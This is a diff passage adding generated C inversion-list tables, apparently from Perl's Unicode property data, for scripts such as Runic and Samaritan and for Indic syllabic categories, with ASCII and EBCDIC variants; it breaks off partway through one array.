+static const UV PL_INRUNIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16A0,
+	0x1700
+};
+
+static const UV PL_INSAMARITAN_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x800,
+	0x840
+};
+
+static const UV PL_INSAURASHTRA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA880,
+	0xA8E0
+};
+
+static const UV PL_INSC__AVAGRAHA_invlist[] = { /* for all charsets */
+	31,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x93D,
+	0x93E,
+	0x9BD,
+	0x9BE,
+	0xABD,
+	0xABE,
+	0xB3D,
+	0xB3E,
+	0xC3D,
+	0xC3E,
+	0xCBD,
+	0xCBE,
+	0xD3D,
+	0xD3E,
+	0xF85,
+	0xF86,
+	0x17DC,
+	0x17DD,
+	0x1BBA,
+	0x1BBB,
+	0x111C1,
+	0x111C2,
+	0x1133D,
+	0x1133E,
+	0x11447,
+	0x11448,
+	0x114C4,
+	0x114C5,
+	0x11C40,
+	0x11C41
+};
+
+static const UV PL_INSC__BINDU_invlist[] = { /* for all charsets */
+	97,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x900,
+	0x903,
+	0x981,
+	0x983,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA03,
+	0xA70,
+	0xA71,
+	0xA81,
+	0xA83,
+	0xB01,
+	0xB03,
+	0xB82,
+	0xB83,
+	0xC00,
+	0xC03,
+	0xC81,
+	0xC83,
+	0xD00,
+	0xD03,
+	0xD82,
+	0xD83,
+	0xE4D,
+	0xE4E,
+	0xECD,
+	0xECE,
+	0xF7E,
+	0xF7F,
+	0xF82,
+	0xF84,
+	0x1036,
+	0x1037,
+	0x17C6,
+	0x17C7,
+	0x1932,
+	0x1933,
+	0x1A74,
+	0x1A75,
+	0x1B00,
+	0x1B03,
+	0x1B80,
+	0x1B81,
+	0x1C34,
+	0x1C36,
+	0xA80B,
+	0xA80C,
+	0xA873,
+	0xA874,
+	0xA880,
+	0xA881,
+	0xA8C5,
+	0xA8C6,
+	0xA8F2,
+	0xA8F4,
+	0xA980,
+	0xA982,
+	0x10A0E,
+	0x10A0F,
+	0x11000,
+	0x11002,
+	0x11080,
+	0x11082,
+	0x11100,
+	0x11102,
+	0x11180,
+	0x11182,
+	0x11234,
+	0x11235,
+	0x112DF,
+	0x112E0,
+	0x11300,
+	0x11303,
+	0x1135E,
+	0x11360,
+	0x11443,
+	0x11445,
+	0x114BF,
+	0x114C1,
+	0x115BC,
+	0x115BE,
+	0x1163D,
+	0x1163E,
+	0x116AB,
+	0x116AC,
+	0x11A35,
+	0x11A39,
+	0x11A96,
+	0x11A97,
+	0x11C3C,
+	0x11C3E,
+	0x11CB5,
+	0x11CB7,
+	0x11D40,
+	0x11D41
+};
+
+static const UV PL_INSC__BRAHMIJOININGNUMBER_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11052,
+	0x11066
+};
+
+static const UV PL_INSC__CANTILLATIONMARK_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0xAFA,
+	0xAFD,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE2,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0xA8E0,
+	0xA8F2,
+	0x1123E,
+	0x1123F,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375
+};
+
+static const UV PL_INSC__CONSONANT_invlist[] = { /* for all charsets */
+	299,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x915,
+	0x93A,
+	0x958,
+	0x960,
+	0x978,
+	0x980,
+	0x995,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0x9F0,
+	0x9F2,
+	0xA15,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA95,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xAF9,
+	0xAFA,
+	0xB15,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB60,
+	0xB71,
+	0xB72,
+	0xB95,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xC15,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC58,
+	0xC5B,
+	0xC95,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCDE,
+	0xCDF,
+	0xD15,
+	0xD3B,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE2F,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEAF,
+	0xEDC,
+	0xEE0,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0x1000,
+	0x1021,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1052,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1703,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1723,
+	0x1732,
+	0x1743,
+	0x1752,
+	0x1763,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17A3,
+	0x1901,
+	0x191F,
+	0x1950,
+	0x1963,
+	0x1980,
+	0x19AC,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A4D,
+	0x1A53,
+	0x1A55,
+	0x1B13,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B8A,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBB,
+	0x1BBE,
+	0x1BC0,
+	0x1BE4,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA85E,
+	0xA862,
+	0xA866,
+	0xA869,
+	0xA871,
+	0xA872,
+	0xA873,
+	0xA892,
+	0xA8B4,
+	0xA90A,
+	0xA922,
+	0xA930,
+	0xA947,
+	0xA989,
+	0xA98C,
+	0xA98F,
+	0xA9B3,
+	0xA9E0,
+	0xA9E5,
+	0xA9E7,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA06,
+	0xAA29,
+	0xAA60,
+	0xAA70,
+	0xAA71,
+	0xAA74,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAE2,
+	0xAAEB,
+	0xABC0,
+	0xABCE,
+	0xABD0,
+	0xABD1,
+	0xABD2,
+	0xABDB,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x11013,
+	0x11038,
+	0x1108D,
+	0x110B0,
+	0x11107,
+	0x11127,
+	0x11155,
+	0x11173,
+	0x11191,
+	0x111B3,
+	0x11208,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11284,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112BA,
+	0x112DF,
+	0x11315,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1140E,
+	0x11435,
+	0x1148F,
+	0x114B0,
+	0x1158E,
+	0x115AF,
+	0x1160E,
+	0x11630,
+	0x1168A,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x11A0B,
+	0x11A33,
+	0x11A5C,
+	0x11A84,
+	0x11C0E,
+	0x11C2F,
+	0x11C72,
+	0x11C90,
+	0x11D0C,
+	0x11D31
+};
+
+static const UV PL_INSC__CONSONANTDEAD_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9CE,
+	0x9CF,
+	0xD54,
+	0xD57,
+	0xD7A,
+	0xD80
+};
+
+static const UV PL_INSC__CONSONANTFINAL_invlist[] = { /* for all charsets */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1930,
+	0x1932,
+	0x1933,
+	0x193A,
+	0x19C1,
+	0x19C8,
+	0x1A58,
+	0x1A5A,
+	0x1BBE,
+	0x1BC0,
+	0x1BF0,
+	0x1BF2,
+	0x1C2D,
+	0x1C34,
+	0xA8B4,
+	0xA8B5,
+	0xA94F,
+	0xA953,
+	0xAA40,
+	0xAA4E,
+	0xABDB,
+	0xABE3,
+	0x11A8A,
+	0x11A96
+};
+
+static const UV PL_INSC__CONSONANTHEADLETTER_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF88,
+	0xF8D
+};
+
+static const UV PL_INSC__CONSONANTKILLER_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE4C,
+	0xE4D,
+	0x17CD,
+	0x17CE
+};
+
+static const UV PL_INSC__CONSONANTMEDIAL_invlist[] = { /* for all charsets */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA75,
+	0xA76,
+	0xEBC,
+	0xEBE,
+	0x103B,
+	0x103F,
+	0x105E,
+	0x1061,
+	0x1082,
+	0x1083,
+	0x1A55,
+	0x1A57,
+	0xA9BE,
+	0xA9C0,
+	0xAA33,
+	0xAA37,
+	0x1171D,
+	0x11720,
+	0x11A3B,
+	0x11A3F,
+	0x11D47,
+	0x11D48
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_INSC__CONSONANTPLACEHOLDER_invlist[] = { /* for ASCII/Latin1 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D,
+	0x2E,
+	0xA0,
+	0xA1,
+	0xD7,
+	0xD8,
+	0xA72,
+	0xA74,
+	0x104E,
+	0x104F,
+	0x1900,
+	0x1901,
+	0x2010,
+	0x2015,
+	0x25CC,
+	0x25CD,
+	0xAA74,
+	0xAA77,
+	0x11A3F,
+	0x11A40,
+	0x11A45,
+	0x11A46
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_INSC__CONSONANTPLACEHOLDER_invlist[] = { /* for EBCDIC 1047 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x60,
+	0x61,
+	0xBF,
+	0xC0,
+	0xA72,
+	0xA74,
+	0x104E,
+	0x104F,
+	0x1900,
+	0x1901,
+	0x2010,
+	0x2015,
+	0x25CC,
+	0x25CD,
+	0xAA74,
+	0xAA77,
+	0x11A3F,
+	0x11A40,
+	0x11A45,
+	0x11A46
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_INSC__CONSONANTPLACEHOLDER_invlist[] = { /* for EBCDIC 037 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x60,
+	0x61,
+	0xBF,
+	0xC0,
+	0xA72,
+	0xA74,
+	0x104E,
+	0x104F,
+	0x1900,
+	0x1901,
+	0x2010,
+	0x2015,
+	0x25CC,
+	0x25CD,
+	0xAA74,
+	0xAA77,
+	0x11A3F,
+	0x11A40,
+	0x11A45,
+	0x11A46
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_INSC__CONSONANTPRECEDINGREPHA_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD4E,
+	0xD4F,
+	0x11D46,
+	0x11D47
+};
+
+static const UV PL_INSC__CONSONANTPREFIXED_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x111C2,
+	0x111C4,
+	0x11A3A,
+	0x11A3B,
+	0x11A86,
+	0x11A8A
+};
+
+static const UV PL_INSC__CONSONANTSUBJOINED_invlist[] = { /* for all charsets */
+	27,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0x1929,
+	0x192C,
+	0x1A57,
+	0x1A58,
+	0x1A5B,
+	0x1A5F,
+	0x1BA1,
+	0x1BA4,
+	0x1BAC,
+	0x1BAE,
+	0x1C24,
+	0x1C26,
+	0xA867,
+	0xA869,
+	0xA871,
+	0xA872,
+	0xA9BD,
+	0xA9BE,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB0
+};
+
+static const UV PL_INSC__CONSONANTSUCCEEDINGREPHA_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x17CC,
+	0x17CD,
+	0x1A5A,
+	0x1A5B,
+	0x1B03,
+	0x1B04,
+	0x1B81,
+	0x1B82,
+	0xA982,
+	0xA983
+};
+
+static const UV PL_INSC__CONSONANTWITHSTACKER_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCF1,
+	0xCF3,
+	0x11003,
+	0x11005
+};
+
+static const UV PL_INSC__GEMINATIONMARK_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA71,
+	0xA72,
+	0x11237,
+	0x11238,
+	0x11A98,
+	0x11A99
+};
+
+static const UV PL_INSC__INVISIBLESTACKER_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1039,
+	0x103A,
+	0x17D2,
+	0x17D3,
+	0x1A60,
+	0x1A61,
+	0x1BAB,
+	0x1BAC,
+	0xAAF6,
+	0xAAF7,
+	0x10A3F,
+	0x10A40,
+	0x11133,
+	0x11134,
+	0x11A47,
+	0x11A48,
+	0x11A99,
+	0x11A9A,
+	0x11D45,
+	0x11D46
+};
+
+static const UV PL_INSC__MODIFYINGLETTER_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB83,
+	0xB84
+};
+
+static const UV PL_INSC__NONJOINER_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x200C,
+	0x200D
+};
+
+static const UV PL_INSC__NUKTA_invlist[] = { /* for all charsets */
+	49,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x93C,
+	0x93D,
+	0x9BC,
+	0x9BD,
+	0xA3C,
+	0xA3D,
+	0xABC,
+	0xABD,
+	0xAFD,
+	0xB00,
+	0xB3C,
+	0xB3D,
+	0xCBC,
+	0xCBD,
+	0xF39,
+	0xF3A,
+	0x1B34,
+	0x1B35,
+	0x1BE6,
+	0x1BE7,
+	0x1C37,
+	0x1C38,
+	0xA9B3,
+	0xA9B4,
+	0x10A38,
+	0x10A3B,
+	0x110BA,
+	0x110BB,
+	0x11173,
+	0x11174,
+	0x111CA,
+	0x111CB,
+	0x11236,
+	0x11237,
+	0x112E9,
+	0x112EA,
+	0x1133C,
+	0x1133D,
+	0x11446,
+	0x11447,
+	0x114C3,
+	0x114C4,
+	0x115C0,
+	0x115C1,
+	0x116B7,
+	0x116B8,
+	0x11D42,
+	0x11D43
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_INSC__NUMBER_invlist[] = { /* for ASCII/Latin1 */
+	87,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF34,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0x10A40,
+	0x10A48,
+	0x11066,
+	0x11070,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173C,
+	0x11C50,
+	0x11C6D,
+	0x11D50,
+	0x11D5A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_INSC__NUMBER_invlist[] = { /* for EBCDIC 1047 */
+	87,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0,
+	0xFA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF34,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0x10A40,
+	0x10A48,
+	0x11066,
+	0x11070,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173C,
+	0x11C50,
+	0x11C6D,
+	0x11D50,
+	0x11D5A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_INSC__NUMBER_invlist[] = { /* for EBCDIC 037 */
+	87,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0,
+	0xFA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF34,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0x10A40,
+	0x10A48,
+	0x11066,
+	0x11070,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x111E1,
+	0x111F5,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173C,
+	0x11C50,
+	0x11C6D,
+	0x11D50,
+	0x11D5A
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_INSC__NUMBERJOINER_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1107F,
+	0x11080
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_INSC__OTHER_invlist[] = { /* for ASCII/Latin1 */
+	613,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D,
+	0x2E,
+	0x30,
+	0x3A,
+	0xA0,
+	0xA1,
+	0xB2,
+	0xB4,
+	0xD7,
+	0xD8,
+	0x900,
+	0x950,
+	0x951,
+	0x953,
+	0x955,
+	0x964,
+	0x966,
+	0x970,
+	0x972,
+	0x980,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA74,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC81,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
